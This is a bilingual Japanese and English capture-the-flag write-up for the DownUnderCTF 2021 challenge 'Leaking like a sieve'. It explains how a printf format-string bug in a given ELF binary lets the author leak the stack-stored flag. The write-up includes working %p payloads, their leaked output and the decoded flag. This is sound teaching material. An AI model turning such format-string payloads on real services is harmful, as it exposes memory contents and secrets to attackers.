Leaking like a sieve

TCPサーバの接続情報と、ELFファイル hellothere が与えられた。

このファイルをTDM-GCCobjdumpで逆アセンブルすると、main関数において、
./flag.txtの内容を-0x30(%rbp)に読み込んだ後、 入力を-0x50(%rbp)に読み込んでprintf関数の第1引数に渡しているのが読みとれた。

Information to connect to a TCP server and a ELF file hellothere were given.

Disassembling this file via objdump in TDM-GCC, I found that the function main reads the contents of ./flag.txt to -0x30(%rbp),
and then read some input to -0x50(%rbp) and pass the input as the first argument of the function printf.

When I gave this as an input:

%p %p %p %p %p %p %p %p %p %p

を入力として与えると、

This was printed:

Hello there, 0x7ffe79d42eb0 0x7f4d4a7698c0 (nil) 0xe 0x7f4d4a9954c0 0x7ffe79d45580 0x55b1688e7260 0x7025207025207025 0x2520702520702520 0x2070252070252070

が出力され、入力した内容が8番目以降のデータとして使われていることが読み取れた。

さらに、./flag.txtの内容は入力の0x20バイト先に格納されており、これは1個8バイトの要素4個分である。
これを踏まえ、以下を入力として与えた。

This implies that the input data is used as the 8th data and later.

Moreover, the contents of ./flag.txt is stored 0x20 bytes ahead from the input. This is a room for four 8-byte elements.
Based on these, I gave this as an input:

%12$p%13$p%14$p%15$p%16$p%17$p

すると、以下が出力された、

As a result, this was printed:

Hello there, 0x30667b46544355440x3370355f74346d720x6d5f7233316631630x7d21677364330x7fff5afa6da00xc1cb9de7027db700

得られた出力を以下のCyberChefのRecipeで変換することで、flagが得られた。

I obtained the flag by converting this output via this Recipe on CyberChef.

Fork, Find / Replace, From Hex, Reverse - CyberChef

DUCTF{f0rm4t_5p3c1f13r_m3dsg!}

DownUnderCTF 2021